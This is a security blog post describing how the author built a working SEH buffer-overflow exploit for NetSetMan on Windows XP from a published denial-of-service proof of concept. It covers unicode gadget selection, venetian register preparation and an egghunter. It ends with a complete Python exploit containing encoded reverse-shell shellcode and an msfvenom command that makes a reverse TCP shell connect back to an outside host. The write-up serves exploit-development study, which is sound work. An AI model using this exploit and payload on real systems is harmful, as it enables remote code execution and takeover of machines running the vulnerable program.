An Utsusemi of Keramas

Tales of security research, penetration testing, red teaming, and general hacking shenanigans.

15 March 2019

From DoS to SEH Overflow with Unicode

by Keramas

I decided to challenge myself the other day to find a DoS proof-of-concept on Exploit DB and find a way to exploit it so arbitrary shellcode is executed (i.e., get a shell) on a Windows XP SP3 machine. Browsing some of the more recent DoS PoCs, I came upon one which looked rather interesting and stayed up all night developing an exploit for it.

NetSetMan is "a network settings manager software which can easily switch between your preconfigured profiles" and it suffers from a buffer overflow vulnerability. The original PoC for the DoS can be found here.


Loading up the program and attaching it to Immunity, I followed the DoS PoC and copied a long string of A's into the "Workgroup" field after enabling it, hit "Activate", and took note of the overflow.


Looks good. It's a standard exception handler (SEH) overflow, but there is a bit of a twist. The overwritten value of the SEH is showing to be 0x00410041 instead of the normal 0x41414141. This means that our input is being converted and stored as unicode and things are about to get a little bit difficult...

The first step is to see if there is a POP-POP-RET gadget in a module without SafeSEH enabled that has a memory address that would fit unicode. Meaning, it needs to be in the "0x00XX00XX" format. Using Mona, I found that there were a decent amount of candidates all within the 'netsetman.exe' module.


The catch here, as you will see in a moment, is that it will take a bit of trial and error to find an address that works properly once it comes time to jump to our shellcode. (The image below shows the actual address I ended up using: 0x00590058.)

After finding the proper offset to the SEH overwrite and adding a gadget address to the exploit PoC, I set a break point on it, and then pasted in the exploit content.


Hitting the breakpoint and stepping through the instructions we are back at the buffer and need to step over the SEH somehow. Unfortunately, since our input is going to be converted into unicode, it is not possible to introduce instructions to perform a short jump over it, so instead, we need to find some benign shellcode (assembly instructions) that when interpreted will not cause any errors and allow us to walk over into the buffer. However, this means that the gadget address ALSO needs to translate out into instructions that do not cause an error.

It took a good amount of hunting and trial and error, but I discovered that the following instructions would work:

1
2
3
4
5
6
7
8
buffer = ""
buffer += "\x61" * 75 #junk
buffer += "\x62" * 1 #nop

#0x00590058 : pop ebx # pop ebp # ret 0x08 | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [netsetman.exe]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.7.1.0 (C:\Program Files\NetSetMan\netsetman.exe)
buffer += "\x58\x59" #SEH overwrite to pop-pop-ret instruction
buffer += "\x41" * 200

You can see what kind of instructions they translated to here:


This allows us to waltz right to where our reverse shell payload should go. Everything seems good, but what to do about the payload? Luckily, msfvenom has a nice unicode encoder, but there is yet another catch here. In order for it to decode properly, we need to point a register to the beginning of the shellcode (in this case I used the EAX register), and in order to accomplish this we are going to need to perform some register preparation. Since this cannot be done normally due to the whole unicode issue, I employed the venetian shellcode technique to get the registers set up.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
regPrep = (
"\x63" #nop/align
"\x55" #push ebp
"\x62" #nop/align
"\x58" #pop eax
"\x62" #nop/align
"\x05\x14\x11" #add eax, 0x11001400
"\x62" #nop/align
"\x2d\x13\x11" #sub eax, 0x11001300
"\x62" #nop/align
"\x50" #push eax
"\x62" #nop/align
"\xc3") #ret

buffer = ""
buffer += "\x61" * 75 #junk
buffer += "\x62" * 1 #nop

#0x00590058 : pop ebx # pop ebp # ret 0x08 | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [netsetman.exe]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.7.1.0 (C:\Program Files\NetSetMan\netsetman.exe)
buffer += "\x58\x59" #SEH overwrite to pop-pop-ret instruction
buffer += regPrep

Once again, the following illustrates what the instructions look like once everything is converted to unicode.


Creating a reverse shell with msfvenom and the unicode encoder, I dropped that into the script after the regPrep and ran it.

EAX has been set nicely and everything seems good until...

The buffer is too small to fit the reverse shell payload! Now it's time to get a bit creative. While a payload of that size couldn't fit, an egghunter payload sure could. Now I just had to determine if there was a way to get an egg and the reverse shell payload into memory somehow. I modified the script to perform some tests.

Placing this payload into each of the input sections and searching through memory for my egg, I determined that another tab's "Workgroup" field allowed for the payload to be placed in memory and it was possible to reach it fully intact. Additionally, the payload was stored as ASCII as well removing the need for unicode encoding.


Creating an alphanumeric encoded reverse shell payload with msfvenom, I tested it out hoping for a shell, but got an error...

Oops, we have bad characters that are breaking our code. While this is already an alphanumeric payload, the first couple of bytes are not, and they are for the decoder so it can point to where the shellcode can be decoded (see my previous blog on this). Luckily since we are using an egghunter and EDI is pointing to our code, we can tell msfvenom to use this register and eliminate the need for the non-alphanumeric bytes in the shellcode.

Recreating the payload with this flag set, it's time to test it out again.

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.46 LPORT=4444 -e x86/alpha_mixed -f python -v shellcode EXITFUNC=seh BufferRegister=EDI

Final PoC:

shellcode = "w00tw00t"
shellcode += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x6b\x4c\x6a\x48\x4d\x52\x75\x50"
shellcode += "\x63\x30\x37\x70\x63\x50\x4f\x79\x7a\x45\x74\x71"
shellcode += "\x39\x50\x45\x34\x6e\x6b\x36\x30\x30\x30\x6c\x4b"
shellcode += "\x56\x32\x46\x6c\x6e\x6b\x71\x42\x65\x44\x4e\x6b"
shellcode += "\x31\x62\x44\x68\x46\x6f\x6c\x77\x63\x7a\x45\x76"
shellcode += "\x65\x61\x39\x6f\x4c\x6c\x75\x6c\x33\x51\x43\x4c"
shellcode += "\x54\x42\x54\x6c\x65\x70\x59\x51\x6a\x6f\x46\x6d"
shellcode += "\x57\x71\x6f\x37\x48\x62\x6a\x52\x72\x72\x63\x67"
shellcode += "\x6c\x4b\x31\x42\x72\x30\x4c\x4b\x50\x4a\x37\x4c"
shellcode += "\x4c\x4b\x50\x4c\x66\x71\x64\x38\x39\x73\x32\x68"
shellcode += "\x43\x31\x4a\x71\x46\x31\x6c\x4b\x51\x49\x55\x70"
shellcode += "\x65\x51\x58\x53\x4c\x4b\x67\x39\x34\x58\x59\x73"
shellcode += "\x44\x7a\x33\x79\x4c\x4b\x50\x34\x4c\x4b\x57\x71"
shellcode += "\x6b\x66\x54\x71\x39\x6f\x4c\x6c\x69\x51\x68\x4f"
shellcode += "\x76\x6d\x47\x71\x4f\x37\x65\x68\x39\x70\x71\x65"
shellcode += "\x58\x76\x64\x43\x61\x6d\x48\x78\x45\x6b\x71\x6d"
shellcode += "\x76\x44\x51\x65\x38\x64\x52\x78\x6e\x6b\x53\x68"
shellcode += "\x45\x74\x65\x51\x6a\x73\x31\x76\x6c\x4b\x34\x4c"
shellcode += "\x62\x6b\x4e\x6b\x32\x78\x75\x4c\x46\x61\x4b\x63"
shellcode += "\x4e\x6b\x66\x64\x4e\x6b\x55\x51\x58\x50\x6f\x79"
shellcode += "\x52\x64\x57\x54\x66\x44\x71\x4b\x53\x6b\x71\x71"
shellcode += "\x51\x49\x71\x4a\x53\x61\x69\x6f\x39\x70\x61\x4f"
shellcode += "\x43\x6f\x42\x7a\x6e\x6b\x42\x32\x5a\x4b\x4c\x4d"
shellcode += "\x53\x6d\x30\x68\x45\x63\x54\x72\x65\x50\x67\x70"
shellcode += "\x35\x38\x32\x57\x71\x63\x44\x72\x43\x6f\x66\x34"
shellcode += "\x32\x48\x70\x4c\x74\x37\x57\x56\x47\x77\x79\x6f"
shellcode += "\x69\x45\x6e\x58\x6c\x50\x45\x51\x57\x70\x65\x50"
shellcode += "\x34\x69\x39\x54\x71\x44\x62\x70\x62\x48\x35\x79"
shellcode += "\x4d\x50\x30\x6b\x37\x70\x79\x6f\x48\x55\x76\x30"
shellcode += "\x70\x50\x72\x70\x32\x70\x47\x30\x30\x50\x77\x30"
shellcode += "\x52\x70\x55\x38\x38\x6a\x56\x6f\x4b\x6f\x6d\x30"
shellcode += "\x39\x6f\x69\x45\x6a\x37\x72\x4a\x33\x35\x63\x58"
shellcode += "\x4b\x70\x59\x38\x35\x5a\x44\x6e\x42\x48\x33\x32"
shellcode += "\x53\x30\x64\x51\x61\x4c\x4f\x79\x58\x66\x72\x4a"
shellcode += "\x56\x70\x46\x36\x43\x67\x32\x48\x6d\x49\x4f\x55"
shellcode += "\x64\x34\x31\x71\x4b\x4f\x78\x55\x6b\x35\x4f\x30"
shellcode += "\x64\x34\x76\x6c\x39\x6f\x72\x6e\x44\x48\x63\x45"
shellcode += "\x48\x6c\x50\x68\x6c\x30\x6e\x55\x4d\x72\x51\x46"
shellcode += "\x79\x6f\x38\x55\x63\x58\x30\x63\x70\x6d\x72\x44"
shellcode += "\x47\x70\x6e\x69\x59\x73\x62\x77\x62\x77\x33\x67"
shellcode += "\x55\x61\x69\x66\x31\x7a\x46\x72\x33\x69\x72\x76"
shellcode += "\x79\x72\x4b\x4d\x55\x36\x39\x57\x67\x34\x35\x74"
shellcode += "\x45\x6c\x55\x51\x77\x71\x4c\x4d\x67\x34\x77\x54"
shellcode += "\x62\x30\x68\x46\x45\x50\x43\x74\x50\x54\x50\x50"
shellcode += "\x52\x76\x52\x76\x63\x66\x63\x76\x66\x36\x32\x6e"
shellcode += "\x46\x36\x51\x46\x32\x73\x71\x46\x42\x48\x74\x39"
shellcode += "\x4a\x6c\x67\x4f\x4d\x56\x49\x6f\x79\x45\x6e\x69"
shellcode += "\x4d\x30\x70\x4e\x73\x66\x52\x66\x39\x6f\x76\x50"
shellcode += "\x61\x78\x64\x48\x6f\x77\x67\x6d\x73\x50\x49\x6f"
shellcode += "\x69\x45\x6f\x4b\x59\x6e\x54\x4e\x34\x72\x6a\x4a"
shellcode += "\x52\x48\x6d\x76\x4d\x45\x6d\x6d\x4f\x6d\x4b\x4f"
shellcode += "\x68\x55\x55\x6c\x74\x46\x61\x6c\x57\x7a\x6f\x70"
shellcode += "\x4b\x4b\x6b\x50\x62\x55\x33\x35\x4d\x6b\x73\x77"
shellcode += "\x42\x33\x72\x52\x50\x6f\x53\x5a\x45\x50\x52\x73"
shellcode += "\x4b\x4f\x58\x55\x41\x41"



egghunter =(
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIA"
"IAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30A"
"PB944JBC6SQGZKOLO0B0RQZOSR88MNNOLKUPZSDJO6XT7NPNP3DTKKJ6OD5JJ"
"6OBUK7KOYWLJA"
)

regPrep = (
"\x63" #nop/align
"\x55" #push ebp
"\x62" #nop/align
"\x58" #pop eax
"\x62" #nop/align
"\x05\x14\x11" #add eax, 0x11001400
"\x62" #nop/align
"\x2d\x13\x11" #sub eax, 0x11001300
"\x62" #nop/align
"\x50" #push eax
"\x62" #nop/align
"\xc3") #ret

buffer = ""
buffer += "\x61" * 75 #junk
buffer += "\x62" * 1 #nop

#0x00590058 : pop ebx # pop ebp # ret 0x08 | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [netsetman.exe]
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.7.1.0 (C:\Program Files\NetSetMan\netsetman.exe)
buffer += "\x58\x59" #SEH overwrite to pop-pop-ret instruction
buffer += regPrep
buffer += "\x62" * 108 #offset to egghunter
buffer += egghunter

#Write initial SEH overflow payload + egghunter with venetian shellcode
f = open('payload1.txt','w')
f.write(buffer)
f.close()

#Egg + alphanumeric encoded shellcode payload
g = open('payload2.txt', 'w')
g.write(shellcode)
g.close()

Pasting the reverse shell into the second tab's Workgroup field followed by pasting the first part of the payload (our egghunter) into the first tab's Workgroup field and hitting "Activate"...


Success!

The full PoC (with a Calc payload) can be found on Exploit-DB. This ended up being a fun challenge and I managed to exercise some OSCE skills. Time to find some more!




tags: